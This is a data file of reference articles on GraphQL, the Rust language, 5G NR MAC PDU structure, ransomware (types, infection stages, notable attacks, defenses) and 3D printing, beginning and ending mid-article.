skip a field based on a condition.\n\n### What are some criticisms of GraphQL?\n\nIt's been said that REST can do what GraphQL does. Using JSON API, we can implement data-specific queries. Query parameters can filter data. JSON Schema can be used for type validation. OData can be used as a query language. These alternatives are better for small applications where GraphQL can be an overkill. GraphQL comes with the need to write resolvers. \n\nError handling is more complex since the response has to be parsed. An error will be returned as a HTTP 200 OK status. This also means that we can't use monitoring tools that mostly ping an endpoint without a request body and look at only status codes. \n\nUnlike POST/PUT requests of REST, GraphQL can't do file uploading. \n\nREST calls conform to HTTP semantics and web caching is easier due to multiple endpoints. With GraphQL, given a single endpoint, web caching is harder to implement. Tools such as Relay or Dataloader can help. Apollo client-server implemented persisted GraphQL queries. \n\nPerformance can be an issue since clients can construct complex queries. This is more so for data coming from third parties. With REST, an endpoint can be designed and fine tuned for a specific query. \n\n## Milestones\n\n2012\n\nFacebook's iOS and Android apps become native apps. These need an API to retrieve Facebook's News Feed. RESTful APIs and Facebook Query Language (FQL) are available but developers see a gap between what apps wanted and the queries that servers exposed. Developers had to write lot of code on server side to prepare data and on client side to consume it. It's to solve this problem that Nick Schrock of Facebook creates a first prototype called **SuperGraph**. This is renamed to **GraphQL**. \n\n2015\n\nFacebook open sources GraphQL, which is also released as a draft specification. This move is partly influenced by Facebook's React that was open sourced in 2013, Facebook's React Native that's also open sourced in 2015 and Facebook's Relay that provides a framework for building mobile apps based on React, React Native and GraphQL.  \n\nJun  \n2018\n\nGraphQL specifications exits \"Draft RFC\" status. It defines *Type System Definition Language* and delivery of live data over GraphQL subscriptions. \n\nNov  \n2018\n\n**GraphQL Foundation** is formed, to be hosted by the Linux Foundation. This paves the way for a vendor-neutral development of GraphQL. By now, GraphQL is being used by Airbnb, Audi, GitHub, Netflix, Shopify, Twitter, NY Times and many more. At Facebook alone, it powers billions of API calls every day. In March 2019, GraphQL Foundation announces collaboration with the Joint Development Foundation.","meta":{"title":"GraphQL","href":"graphql"}}
{"text":"# Rust (Language)\n\n## Summary\n\n\nC and C++ are highly performant and offer low-level control, which is something systems programmers want. But they're not safe since it's easy to access wrong memory locations. Haskell is a lot safer but it doesn't offer low-level control. Go and Java are somewhere in between. In all these languages, trade-offs have been made. Rust is a programming language that's safe, performant, and offers low-level control. \n\nRust achieves this with strong static typing and compile-time checks. Many problems are caught at compile time rather than at runtime. The concept of ownership leads to memory-safe and thread-safe code. Rust itself is considered a multi-paradigm language with design elements taken from many other languages. \n\nRust is open source and overseen by the Rust Foundation.\n\n## Discussion\n\n### For what use cases is Rust suitable?\n\n**Systems programming** is the main use case for Rust. Systems programming includes operating systems, file systems, and low-level drivers. We can also include any code that powers other applications, such as web browsers, web frameworks, and game engines. For systems programming, it's important to have safe memory management without runtime overhead. Untrusted code shouldn't be allowed to cause problems. We want low-level access so that we can optimize our code for time and space. \n\nRust is well-suited for **embedded development**. It can run on bare-metal systems without any RTOS. Pin and peripheral configurations can be enforced at compile time. We can choose to leave out the heap and allocate all memory statically. Concurrency is easy to achieve since Rust ensures that two threads will not accidentally share state. Interoperability and portability are other benefits. \n\nRust is capable of providing performance close to that of C++. Hence it's seen as a language for **High-Performance Computing (HPC)** and scientific computing. \n\nThe Rust community is also adopting Rust in a variety of areas including web development, distributed peer-to-peer computing, game development, GUI development, machine learning, quantum computing, audio processing, and more. \n\n\n### Which are main design aspects of Rust?\n\n**Ownership** is Rust's most unique feature. Each value can have only one owner. The value is dropped when the owner goes out of scope. Scope is implemented by another feature called **lifetime**. These bring memory safety to Rust programs. Heap memory is safely allocated and deallocated even without a garbage collector. Ownership can be borrowed or moved. For thread-safe code, Rust a thread can borrow ownership from another thread, thus preventing data races. \n\nMost problems in Rust code are caught at **compile time**. As a result, runtime overheads are less. Rust abstractions are not expected to add overhead to equivalent low-level code. Rust calls this **zero-cost abstractions**. Rust doesn't support NULL pointers like in C/C++. Error handling is possible but there's no support for exceptions. Again, the philosophy is to catch most things at compile time. \n\nVariables are **immutable** by default to promote safe coding. Another type-safe feature is that function parameters must include **type annotations**. \n\n\n### Which are the basic programming constructs available in Rust?\n\nLike most languages, Rust specifies language keywords, variables, data types, functions, function parameters, control flow, expressions, statements and comments. Scalar types include signed/unsigned integers, floating-point numbers, Booleans, and characters. Compound types include tuples and arrays, both of fixed length. Tuples can contain items of different types but array items must be of the same type. Data structures called *collections* are allocated on the heap. Vectors, strings and hash maps are examples. \n\nCustom data types can be defined using `struct` and `enum`. In `struct` definitions we can include associated behaviour using *methods*. With `enum`, we can use the `match` expression to implement powerful behaviours including the `switch-case` construct common in other languages. Generics and traits enable reusable types and behaviours respectively. \n\nA function can accept arguments and can return a value. Anonymous functions can be assigned to variables and passed around. Code blocks (including function bodies) are defined within `{…}`. Control expressions include `if-else`, `while`, `loop`, `if-let` and `while-let`. However, parentheses are rarely used around these expressions. \n\n\n### Is Rust an object-oriented or a functional language?\n\nRust combines some aspects of both object-oriented and functional programming paradigms. \n\nRust provides `struct` and `enum` types that contain data and behaviour. Behaviour is specified using `impl` blocks. Rust provides encapsulation at many levels: modules, types, functions and methods. By default these are private and they're made public using `pub` keyword. Thus, developers can change internal implementations without affecting their users who use the public API. \n\nInheritance is widely used in OOP but this is not supported in Rust. However, Rust uses traits to achieve code reuse. Trait objects help achieve dynamic dispatch or polymorphism. In fact, trait objects are closer to OOP's objects. \n\nRust's `enum` and associated pattern matching are similar to algebraic data types seen in functional languages. Closures are supported, that is, we can define anonymous functions that capture their environments, save them into variables and use as function arguments. The use of iterators to process a sequence of items is also influenced by functional programming. \n\n\n### Who has adopted Rust so far?\n\nApart from Mozilla that created Rust, the language has been adopted by many companies including Dropbox, Coursera, Figma, npm, Microsoft, Cloudflare, Facebook, Amazon and Discord. Adoption spans standalone software, cloud-hosted software, edge software and even embedded devices.  \n\nDropbox preferred Rust's compile-time checks on static types over Python's dynamic typing. Rust provided high concurrency required by their file synchronization engine. At Coursera, user-submitted code is executed within Docker containers. Being a low-level and type-safe language, Rust offered Coursera more security than C. Figma rewrote its multiplayer syncing engine in Rust for better performance because the older TypeScript code suffered from garbage collection. At Discord, Rust is used for both client-side (via WASM) and server-side logic. Cloudflare is preferring Rust over C at the cloud edge because of its better memory safety. \n\nFacebook's source control team chose Rust over C++ for its higher reliability. By 2019, Rust was widely adopted in Facebook, first for developer tooling and later for small services. \n\nFor embedded development, many RTOSes, CPU architectures and boards offer APIs for Rust. Sensirion, Airborne Engineering Ltd. and 49nord are some adopters in the embedded space. \n\n\n### What are some criticisms of Rust?\n\nRust has its fair share of criticism. Among them are its complex syntax and a steep learning curve; slow compilations; limited choice of compilers and target architectures compared to C; limited tooling; limited or immature third-party libraries; unsafe and difficult integrations with other languages. Developers can misuse `unsafe` blocks. While its positioned as a systems programming language, not every programming is of this nature.  \n\nRust is too verbose with syntax such as `Vec<Rc<RefCell<Box<Trait>>>>`. There are five types of pointers and it's not trivial to select the right one. Rust lacks a strict description of its semantics. This means that formal verification is not possible. The use of downloadable crates can lead to complex dependency trees. Some consider Rust macros a design mistake or an afterthought to cover up other mistakes.  \n\nWhile performant, Rust is not much better than Go, Java, Scala or Haskell. While C++ is not type safe like Rust, C++ has many static and dynamic analyzers to achieve this. C continues to be better in many aspects: highly portable, formally specified, many implementations, stable ABI. For concurrency and simplicity, some developers prefer Go.  \n\n\n### What tools are available for Rust programming?\n\nRust tooling is improving all the time. Beginners can note the following:\n\n    + **Installation**: Rust can be installed or updated using `rustup`. This can also install optional components such as `clippy` (linter) and `rustfmt` (code formatter).\n    + **Compiler**: The main compiler for Rust is `rustc`. It's based on LLVM compiler toolchain and therefore can target various architectures already supported by LLVM.  The executable program or package at the output of the compiler is called a *crate*. The tool `sccache` can reduce compile times.\n    + **IDE**: VSCode, IntelliJ and Vim are some IDEs that support Rust, often via the Rust Language Server (RLS).\n    + **Package Manager**: Projects typically have dependencies. *Cargo* is the package manager that fetches project dependencies from a central repository. Cargo is also a build system. After downloading the right packages, it can invoke the `rustc` compiler.\n    + **Package Registry**: Crates are typically published at `crates.io`. By default, Cargo searches `crates.io` for dependent packages.\n    + **Documentation**: The tool for this is `rustdoc`, which can also be invoked using Cargo. Documentation is generated from doc comments in source files or standalone Markdown files.\n\n\n## Milestones\n\n2006\n\nGraydon Hoare at Mozilla, who usually works on compilers and tools, starts working on Rust as a hobby project. Later, when he shows this to his manager, Mozilla takes interest in this new language. The idea is to see if Rust could be used to rewrite their browser stack in a more safer and more concurrent way than possible with C++. In a later interview, Hoare notes that Rust's target audience was \"frustrated C++ developers\". \n\n2009\n\nMozilla begins sponsoring the development of Rust. Rust is announced to the world in 2010.  \n\n2010\n\nA bootstrap **compiler** for Rust becomes available. In 2011, a self-hosted compiler appears. In 2012, 0.3 alpha release of the compiler appears. \n\nMar  \n2014\n\nInspired by Python's PEP, Rust adopts an **RFC process**. Major changes to the language must go through this process. By June 2016, 1632 proposals are submitted, 243 are accepted and 69 are open. \n\nMay  \n2015\n\n**Rust 1.0** is released as the first stable version of the language. \n\nNov  \n2017\n\nMozilla's Firefox Quantum now uses a CSS engine written entirely in Rust. Called *Stylo*, it replaces 160,000 lines of C++ with 85,000 lines of Rust. Due to Rust's excellent support for concurrency, the new engine speeds up page styling. Styling of child DOM elements is done concurrently. Developers could write code without worrying too much about safety. They found Rust's panics easier to deal with than C++ segmentation faults. \n\n2020\n\nIn the annual StackOverflow developer survey, Rust is the **most-loved programming language** for the fifth year in a row. These are from survey participants who use Rust and will continue to use it. Rust is in fifth position as the most-wanted language. In July, Rust rises to 18th place in the TIOBE index from 33rd place just a year earlier. \n\nFeb  \n2021\n\n**The Rust Foundation** is formed with Mozilla coming in as a Platinum Sponsor. It's expected that the board will represent various stakeholders. \n\nApr  \n2021\n\nIn an article on TechRepublic, Matt Asay writes that it's Rust, not Firefox, that's Mozilla's most important contribution to the world of technology. \n\nAug  \n2021\n\nFulton et al. share results of a survey of 178 Rust developers. While developers like many of Rust's features that lead to safer code, they complain about long compile times, long time to prototype, and poor debugging tools.","meta":{"title":"Rust (Language)","href":"rust-language"}}
{"text":"# 5G NR MAC PDU\n\n## Summary\n\n\nAn RLC PDU (Protocol Data Unit) consists of an RLC header and an RLC payload. At MAC sublayer, such an RLC PDU is called MAC SDU (Service Data Unit). MAC adds a **subheader** to this to construct a **MAC subPDU**. \n\nMAC also sends/receives Control Elements (CEs), each with its own subheader. Signalling via MAC CEs complements RRC signalling by enabling dynamic configuration changes. \n\nMultiple MAC SDUs and CEs can be part of a single **MAC PDU**. A MAC PDU is packaged as a Transport Block (TB) and sent on a transport channel to PHY layer for transmission.\n\nWhile 5G NR MAC has a general structure for its PDUs, there are differences across downlink, uplink and sidelink channels. Random access procedure has a specialized MAC PDU structure.\n\n## Discussion\n\n### How does a 5G NR MAC PDU differ from a LTE MAC PDU?\n\nA MAC PDU in LTE has a **single header** that has all the necessary information for decoding the entire PDU. In 5G, the MAC PDU has **one or more subheaders**, each subheader providing information to decode its corresponding MAC subPDU. \n\nThis redesign reduces latency in 5G NR. In LTE UE, a MAC PDU can't be assembled until uplink grant is available, since this determines the TB size. In 5G, MAC subPDUs can be assembled in advance. As soon as the grant is available, MAC simply adds necessary padding and concatenates subPDUs. NR design also allows MAC to process its PDU from the back. \n\nThere's a particular RLC detail that improves latency in 5G NR. In LTE, RLC does concatenation of RLC SDUs into a single RLC PDU. Hence, LTE UE can't construct its RLC PDU until uplink grant is received. **5G NR RLC doesn't do concatenation**. An RLC data PDU contains only one RLC SDU. Multiplexing/demultiplexing of RLC PDUs (regardless of the radio bearer) happens at MAC. \n\n\n### What are some essential facts about MAC PDUs?\n\nA MAC PDU consists of **one or more MAC subPDUs**. A MAC subPDU always starts with a subheader. Subheader is followed by a MAC SDU, a MAC CE or padding. When a set of MAC subPDUs doesn't exactly fill a TB, a MAC subPDU with padding is included. A MAC subPDU with only a subheader implies zero-length padding. Only one MAC PDU is allowed in a TB. \n\nMAC SDUs, CEs and subheaders are all **byte aligned and in multiples of 8 bits**. Leftmost bit is the most significant bit. \n\nThe **order of subPDUs** in a MAC PDU is defined. In sidelink and uplink, the order of concatenation is MAC SDUs, CEs and padding. In downlink, the order is MAC CEs, SDUs and padding. In all cases, padding is the last subPDU. \n\nMAC SDUs are of variable **size**, except for an SDU carrying UL CCCH. Some MAC CEs are of fixed size while others are of variable size. \n\nIn **transparent MAC** (BCH, PCH, BCCH on DL-SCH, SL-BCH), there's no MAC subheader. One MAC SDU is aligned to TB size. \n\n\n### Which are the main fields of a 5G NR MAC subheader?\n\nThe MAC subheader consists of the following fields: \n\n    + **Reserved**: R bit is set to 0. It may be used in future updates to MAC.\n    + **Format**: F bit indicates size of the Length field L. For F=0, L is 8 bits, else L is 16 bits.\n    + **Length**: L field indicates the length in bytes of either a MAC SDU or a variable-sized CE. This field is absent when not necessary, such as fixed-size CE, padding or MAC SDU containing UL CCCH. UL CCCH MAC SDU is of fixed size: 64 bits if LCID=0, 48 bits if LCID=52.\n    + **Logical Channel ID (LCID)**: This 6-bit field identifies the logical channel carried in a MAC subPDU, a specific CE or padding.\n    + **Extended Logical Channel ID (eLCID)**: This extends the range of the LCID field. It's size is 1 byte if LCID=34, 2 bytes if LCID=33. Two-byte eLCID is used only on IAB backhaul links.\n\n### Could you describe the LCID field carried in a 5G NR MAC PDU?\n\nLCID values and meaning differ for downlink, uplink and sidelink. We note briefly some of these values. \n\nIn DL-SCH, LCID=0 indicates CCCH. In UL-SCH, LCID values 0 or 52 indicate CCCH. \n\nIn both DL and UL, values 1-32 indicate identity of the logical channel since MAC does the multiplexing/demultiplexing of RLC PDUs coming via logical channels. Many other values indicate that a MAC subPDU contains MAC CE. LCID=63 is for padding. Values 33 or 34 imply that eLCID field is present in the subheader. \n\nSome DL CEs pertain to DRX, Timing Advance, recommended bit rate, UE Contention Resolution Identity, and activation/deactivation of various protocol features. Some UL CEs pertain to Buffer Status Report (BSR), Power Headroom Report (PHR), Listen Before Talk (LBT), C-RNTI and recommended bit rate query. \n\n\n### What's the structure of a 5G NR MAC PDU for random access procedure?\n\nMAC PDUs have one or more MAC subPDUs and optional padding. There are two types of PDUs: \n\n    + **Random Access Response (RAR)**: Each MAC subPDU has a subheader followed by Backoff Indicator (BI), Random Access Preamble Identifier (RAPID), and RAPID plus RAR. If present, a BI subPDU comes at the start of a MAC PDU and padding comes at the end. Padding is not part of a subPDU. The MAC subheader is different for BI and RAPID.\n    + **MsgB**: This is applicable in 2-step procedure. Each MAC subPDU has its own subheader plus BI, fallbackRAR, successRAR, MAC SDU for CCCH or DCCH, or padding. If the PDU contains MAC SDUs, padding is encapsulated within the last subPDU.Among the subheader fields are extension E, type T/T1/T2, reserved bits R, S field, BI, and RAPID. The contents of fallbackRAR and successRAR are defined in the standard. MAC RAR includes Timing Advance Command, UL Grant and Temporary C-RNTI. \n\nDuring random access procedure, MAC CEs are used to transfer C-RNTI and UE Contention Resolution Identity. \n\n\n### What's the structure of a 5G NR MAC PDU for the Sidelink Shared Channel?\n\nSL-SCH MAC PDUs are not very different from DL-SCH or UL-SCH MAC PDUs. They too are contain one or more MAC subPDUs, each subPDU containing a subheader. Order of concatenation is same as in uplink: MAC SDUs, MAC CEs and padding. \n\nThe main addition is the **SL-SCH subheader**. It's of fixed size (4 bytes) containing the following: \n\n    + **Version Number**: V field is of 4 bits. In Release 15 and 16, this is set to 0.\n    + **Reserved**: There are 4 R bits set to 0 in the SL-SCH subheader.\n    + **Source**: SRC field if 16 bits long and contains the 16 most significant bits of Source Layer-2 ID given by upper layers.\n    + **Destination**: DST field if 8 bits long and contains the 8 most significant bits of Destination Layer-2 ID given by upper layers.SL-SCH subheader doesn't itself have an LCID field but the subheader of each MAC subPDU contains the LCID field. Values 4-19 indicate identity of the logical channel. LCID=62 is for Sidelink CSI Reporting. LCID=63 is for padding. eLCID field is not applicable for sidelink. \n\n## Milestones\n\nDec  \n2017\n\n3GPP publishes Release 15 \"early drop\". MAC specification TS 38.321 is upgraded to version 15.0.0. \n\nMar  \n2018\n\nMAC specification version 15.1.0 is published. A change request titled *Introduction of MAC CEs for NR MIMO* adds many MAC Control Elements to this release.  \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. Changes include MsgB MAC PDU format and Absolute Timing Advance Command MAC CE for 2-step RACH procedure.","meta":{"title":"5G NR MAC PDU","href":"5g-nr-mac-pdu"}}
{"text":"# Ransomware\n\n## Summary\n\n\nRansomware is a type of malicious software that first infects a computer system. Once infected, users of the system can no longer access the system or parts of it. This means that important data stored on the system will no longer be accessible. If these systems are part of an organization, normal operations will be affected.\n\nThose who control and distribute such ransomware often demand a payment (aka ransom) from the users. Once payment is done, often via untraceable cryptocurrencies, affected users are allowed to regain access to their system. Without a payment, it's often difficult if not impossible to regain access.\n\nSince 2013, ransomware has become more sophisticated with the use of public key cryptography. The best defence is to adopt best practices in computer and network security, as well as user awareness.\n\n## Discussion\n\n### What are the types of ransomware?\n\nThere are basically two types of ransomware:\n\n    + **Lockers**: These deny access to the infected device and severely limit user interaction. Screen may display information on how to make payment. Mouse interaction may be disabled and only a few keys on the keyboard may be enabled to enter payment information. System files and user data are usually untouched. With lockers, tech savvy users with the right tools may be able to unlock the device and avoid the ransom. Lockers use *social engineering* to pressurize users into paying up.\n    + **Cryptos**: These identify important files on the system and prevent user access to these files. In most cases, they encrypt the files. Cryptos work silently in the background until files have been encrypted and then they inform the user. User can still use the infected device but without access to important data, and without proper backup, they usually have no choice but to pay up.\n\n### What are the steps by which a crypto ransomware infects a system?\n\nCrypto ransomware usually works in stages: \n\n    + **Arrival**: Ransomware gets triggered when user click a link in email or website. It downloads itself into the system and starts running in the background.\n    + **Contact**: It contacts its command and control (C&C) server to exchange configuration information. This may include cryptographic keys for later use.\n    + **Search**: It searches the system for important files by their file types.\n    + **Encryption**: It then generates encryption keys that might involve keys exchanged earlier with C&C. These keys are used to encrypt files identified by its search. Telltale signs include slowdown of the system and flickering of the hard drive light.\n    + **Ransom**: User is displayed the ransom messages once all identified files have been encrypted.\n\n### What are the potential entry points for a ransomware?\n\nRansomware can arrive by email that can contain a link or an attachment. If it's a link, the user is lured to click it, download a file and execute it. If it's an attachment, the user is lured to open it. Attachments could be Microsoft documents, XML document, Zip file containing JavaScript file or a file with multiple extensions. JS script upon execution will download the ransomware. Microsoft documents may contain the ransomware embedded in them as a macro. \n\nRansomware could also arrive when user visits a malicious or compromised website. This is done using *exploit kits*. Some of these include Angler, Neutrino and Nuclear. These kits probe the user's device for vulnerabilities and exploit them immediately. These can spread more easily since they can infect without users clicking or downloading anything.\n\nA common way to lure unsuspecting users is via what's called *phishing*. An email or website attempts to pass itself off as a trusted service provider. Text is worded in a manner that sounds convincing and legitimate. This is called *social engineering*. \n\n\n### How is cryptography used by crypto ransomware?\n\nCryto ransomware uses a combination of symmetric keys and asymmetric keys. Typically, the symmetric key is used to encrypt the files while the asymmetric public key is to encrypt the symmetric key. Thus, to decrypt the files one requires the symmetric, which can be decrypted only when asymmetric private key is available. Asymmetric private key is kept secret at the C&C server. \n\nFor example, CryptoDefense uses a randomly generated AES key to encrypt files but this key itself is encrypted using RSA. RSA public key itself is downloaded from the C&C server. CTB-Locker does something similar except that RSA public key is embedded in the ransomware so that the attack can be completed even without an Internet connection. In fact, CTB-Locker uses a combination AES, SHA256 and ECDH (curve25519). \n\nCerber uses RC4 for encryption and involves an extra step of RSA key-pair generation. Petya uses ECDH (secp192k1) and SALSA20 algorithms. \n\n\n### What are some variations among ransomware out there?\n\nRansomware come in many variations. They constantly evolve so that countermeasures are made ineffective. Here are some variations:\n\n    + WannaCry was also a *worm*, able to spread itself to other devices on the network without user intervention.\n    + WannaCry gave a deadline for payment and threatened that ransom would go up if not complied.\n    + In addition to denying users access, RAA ransomware and MIRCOP stole passwords and sent them to the C&C server.\n    + Many used social engineering to confuse and intimidate users, saying that users had broken the law in some way. If ransom is unpaid, they would be reported to the police.\n    + While most ransomware were executables (.exe, .dll), others used a scripting language: JScript for Cryptowall 4.0's downloader and RANSOM\\_JSRAA.A; PowerShell script for PowerWare.\n    + Jigsaw regularly deleted encrypted files until the ransom was paid. CryptoLocker instead threatened to delete private encryption key, which meant that data could never be recovered.\n    + Petya, Satana, and GoldenEye modified the hard drive MBR (Master Boot Record) with a custom boot loader.\n    + CTB-Locker used partners and revenue sharing to spread faster.\n\n### Could you name some ransomware attacks that caused significant damage?\n\nRansomware can affect any device including laptops, servers and smartphones. Ransomware can affect home users and lock them out of their personal data. It can affect organizations such as hospitals, schools, government agencies, and more. Attackers don't care who's the target but they do set the ransom based on what they think the victims are likely to pay. \n\nIn February 2016, Hollywood Presbyterian Medical Center was infected by Locky ransomware. Ransom was 40 Bitcoins, about $17,000. San Francisco's transit system, Muni, was attacked in November 2016. Ransom was $73,000 in Bitcoins. In January 2017, Austrian hotel Romantik Seehotel Jaegerwirt was attacked. Electronic room keys did not work and the reservation system was paralyzed. The attackers demanded payment of $1,800 in Bitcoins. In June 2017, University College of London was attacked. The city of Atlanta was crippled for five days by ransomware demanding $51,000. Boeing plant in Charleston was hit by WannaCry in March 2018. \n\n\n### Is the Internet-of-Things (IoT) vulnerable to ransomware?\n\nWith IoT, the attack surface widens: thermostats, security cameras, smart locks, connected cars, power grids and other industrial systems can all get infected. Unlike traditional ransomware that prevent users from accessing their data, IoT data is often in the cloud. Instead, ransomware in IoT will be about paralyzing systems: traffic jams, power outages, malfunctioning equipment, etc. \n\nIn 2016, Mirai botnet infected more than 600,000 IoT devices and then used these devices to launch a distributed Denial of Service (DDoS) attack on web services. Although Mirai was not a ransomware, it showed the potential of using IoT devices for large scale attacks. Mirai was possible because IoT devices at the time were (and perhaps even now are) less secure than enterprise IT systems. Mostly, routers and cameras were compromised. Users often use default credentials, don't upgrade or even login to these devices. \n\nA variety of IoT devices exist and any ransomware must have variants or mutate on its own to infect this variety. Since many IoT devices lack display, ransomware will also need to figure out emails and phone numbers to notify users about the ransom. \n\n\n### How can I protect myself from ransomware?\n\nTake regular backups of critical data. Keep your security software and OS updated on a regular basis. Be wary of unexpected mails with links or attachments. Be wary of Microsoft Office attachments that ask you to enable macros. \n\nIf infected, disconnect the affected device from your network. Scan all other devices on your network. Identify the ransomware and try recovery if possible. If not, reformat device and restore data from clean backups. Report the incident to local authorities. \n\n## Milestones\n\n1989\n\nJoseph L. Popp distributes 20,000 floppy disks containing what could be the first known ransomware. Called **1989 AIDS Trojan**, it hides folders and encrypts file names. Victims are asked to send $189 to a post office box in Panama. \n\n2009\n\nFake anti-virus programs become increasingly common. They inform users that they can \"fix\" problems in their systems for a fee. \n\n2011\n\nWithout doing any encryption, **Trojan.Winlock** simply displays a fake Windows Product Activation notice. Users are asked to call a premium international number to obtain an activation key. \n\nSep  \n2013\n\nRansomware gets modern and sophisticated with the release of **CryptoLocker**. It uses RSA public-key cryptography and keeps the private key safe at its command and control (C&C) server. The attack lasts from September 2013 to May 2014, in which period it collects $3 million from its victims. An improved version called **CryptoLocker 2.0** arrives in December. It uses Tor and Bitcoin for anonymity and it's not detected by anti-virus or firewall. \n\n2015\n\nRansomware that encrypts files on an Android device arrives on the scene. It's called **SimpleLocker**. It uses a trojan downloader. Another one called **LockerPin** resets the PIN on the phone and demands $500 ransom to unlock the device. \n\n2016\n\nThe number of variants of ransomware increases dramatically in 2016. From Q4-2015 to Q1-2016, ransomware increases by 3,500% and payments increase tenfold. The US Justice Department states that in 2016 ransomware attacks increased four times to 4,000 a day. MAC OSX gets infected by **KeRanger** via Transmission BitTorrent client.\n\nMay  \n2017\n\nRansomware **WannaCry** exploits a vulnerability in the SMB protocol, a vulnerability present in old unsupported versions of Windows. The attack is contained within a few days but not before it infects 200,000 computers across 150 countries. Kaspersky Lab reports that 98% of the successful attacks were on computers running Windows 7. \n\nJun  \n2017\n\nUsing the same SMB vulnerability that WannaCry exploited, once seeded, **NotPetya** spreads to computers on its own without needing spam emails or social engineering. It encrypts the Master Boot Record (MBR) and lot more. It tricks users into paying a ransom but in fact the encryption process is irreversible. \n\nDec  \n2017\n\nSophosLabs publishes an article on **Ransomware-as-a-Service (RaaS)**. These are available on the Dark Web, some even offering support. These enable non-technical folks to launch their own ransomware variant. Presumably, RaaS has been available on the Dark Web for a year or two.","meta":{"title":"Ransomware","href":"ransomware"}}
{"text":"# 3D Printing\n\n## Summary\n\n\n3D printing is an additive manufacturing technology. It creates three dimensional objects using Computer Aided Design software. A 3D printer or fabricator replicates geometric models in the real world by adding materials layer by layer. \n\n3D printing technology is disrupting traditional manufacturing. Manufacturers today are increasingly adopting 3D printing in their processes. With widening range of printable materials available, more companies are following suit. Because 3D printing allows model testing before producing the actual products. Since it adds materials in layers, it can generate intricate interior designs with high precision. It can also produce rapid prototypes in short periods. .\n\nThe technology creates an end product as a single piece in quick time instead of assembling composite items. As it's evolving at a rapid pace, 3D printers are expected to become products for home users like the 2D printers.\n\n## Discussion\n\n### How does 3D printing compare against other manufacturing techniques?\n\nTwo age-old manufacturing techniques are formative and subtractive. With **formative manufacturing**, we start with a cast or mould and pour material into it. This is cost-effective for high-volume production but requires a stable design. With **subtractive manufacturing (SM)**, we start with a block of material. With the aid of CAD software, we remove excess material via drilling, cutting, and CNC milling. Complex objects can be created. Design changes are possible in software. However, it has high wastage of material.  \n\n**Additive manufacturing (AM)** creates an object by adding material to it one layer at a time. This results in less wastage of material. It's flexible since design changes are done in software. It's ideal for prototyping and rapid customization. It can create certain features not possible with SM. \n\nIn everyday talk, 3D printing is a term synonymous with AM. AM is often used in industrial settings and refers to the process. 3D printing is often used by hobbyists and refers to the technology.  3D printing may be seen as a type of AM since AM encompasses a broader spectrum of processes. \n\n\n### What are the basic steps involved in 3D printing?\n\n3D printing broadly involves three steps: Modeling, Printing and Finishing. \n\nModels are generated using Computer Aided Design software. A designer forms shapes by scanning real objects in 3D form and feeds them into the *CAD* software. She connects the shapes meaningfully, makes corrections and creates models in an iterative process. The models are finalized and stored in file formats such as Stereolithography (STL) file and Additive Manufacturing File (AMF). \n\nBefore printing the final model, files are checked for errors. . The clean files are processed by another software called *Slicer*. The slicer converts a geometric model into an array of thin layers. The layered output of the slicer is stored in *G-code* files that interact with the client software. G-code files serve as interfaces to pass printing instructions to the 3D printers. \n\nIn the last stage, the printed object is given a finishing touch to make it a complete product. The rough surfaces are removed, cleaned, polished, and/or coated, depending on the type of the product printed. \n\n\n### Could you give some examples of 3D printing process types?\n\n**Stereolithography (SLA)** is one of the first 3D printing types in the industry. The process exposes liquid material to a laser source and forms rigid solid parts layer by layer. It's called photopolymerization. The solid parts are treated further with UV rays to fully solidify their outer surfaces. \n\n**Fused Deposition Modeling (FDM)** is a type suitable to print plastic objects. An extruder forcefully ejects plastic filaments heated to their melting points. Filaments deposit on a platform layer by layer. These layers consolidate to become 3D objects. \n\n**Powdered Bed Fusion (PBF)** is another process where laser beams are directed on powders loaded on designated plates. The powders melt and form solid shapes. Each solid that forms in the next layer blends with the previous layer till the whole model is printed. *Selective Laser Sintering (SLS)*, *Electron Beam Melting (EBM)* and *Selective Heat Sintering (SHS)* are the basic technologies associated with Powdered Bed Fusion. \n\nSome other types are *Digital Light Processing (DLP)*, *Material Jetting (MJ)*, *Laminated Object Manufacturing (LOM)*, *Binder Jetting (BJ)* and *Direct Energy Deposition (DED)*. \n\n\n### How does one choose a 3D printing process?\n\nMultiple factors may influence the choice of a 3D printing process. Geometric precision, materials used, product appearance, economy and size are some important considerations. .\n\nFor example, when the materials used are carbon, Nylon, Carbon fibre and the like, FDM would be suitable. It is cost effective and prints products composite of a variety of items. SLA makes the best fit for clean surface finishing and fine detailing. To produce brittle, multi-colored outputs, designers choose Material Jetting (MJ). Binder Jetting (BJ) that uses liquid agents to bind powder beds is preferred to 3D print metal objects in large volumes. \n\n\n### Can you discuss some applications of 3D printing?\n\n**Consumer Products**: 3D printing technology can create custom made products. A broad classification of some common consumer products may include jewelry and fashion accessories, consumer electronics, entertainment props and set pieces, sporting goods, and packaging prototypes. \n\n**Architecture and Construction**: 3D printing technology can be applied to construct an entire building or build components of it. Apis Cor Printed House in Russia and Canal House in Amsterdam are 3D printed structures. \n\n**Spare Parts Manufacturing**: Vital parts of obsolete products may become unavailable or hard to find. And they may force us to buy new products. 3D printing of such parts saves money and time. \n\nOther major industries benefiting from 3D printing technology include prosthetics and bio implants, dentistry, pharmaceuticals, automotive, food, aerospace, robotics, and medical and functional textiles. \n\n\n### How could digital twin technologies support 3D printing?\n\nA digital twin is the virtual representation of an object or a process in a real-time simulation environment. Digital twins facilitate interaction between humans, objects and the virtual spaces connecting them. They make use of Internet of Things (IOT), Artificial Intelligence (AI), cloud computing, Simulation and Modeling, Extended Realities and Networks to function effectively. \n\nCoupling Digital twin technology with 3D printing can enhance performance monitoring and assist in detecting anomalies. The combination of Digital twin and 3D printing offers some advantages:\n\n    + It enables simulations to take temperature and humidity differences which a mere CAD software cannot.\n    + Its database allows comparison of designs for future references.\n    + Designers can use digital twin systems to verify designs and performance data virtually.\n    + Cloud manufacturing environment in the digital twin technology enables real-time data monitoring and troubleshooting.\n    + Simulation and early warning systems using digital twin systems can minimize errors and distortions in the final output.\n    + It provides reference solutions for other manufacturing equipment online.\n    + It enables detection of defects and quality lags during simulation before actual printing. Hence it saves resources and costs.\n\n### What are some of the current challenges of 3d printing technology?\n\n**Material unavailability**: There is no one-size-fits-all solution to printing every product. Some materials may not be available for 3D printing. \n\n**Material incompatibility**: Some materials may not be compatible with the printers. Not all materials fit into the design when they require temperature control. \n\n**Lack of Industry standards**: 3D printing across the world lacks standards that are widely accepted or commonly followed. Standards should be in place to create a comprehensive ecosystem of manufacturers, suppliers and users. \n\n**Post-processing issues**: Most of the 3D printed products need post-processing to become usable. It adds to the costs, consumes extra time and kills consistency. \n\n**Inconsistencies in output**: A 3D printer may not 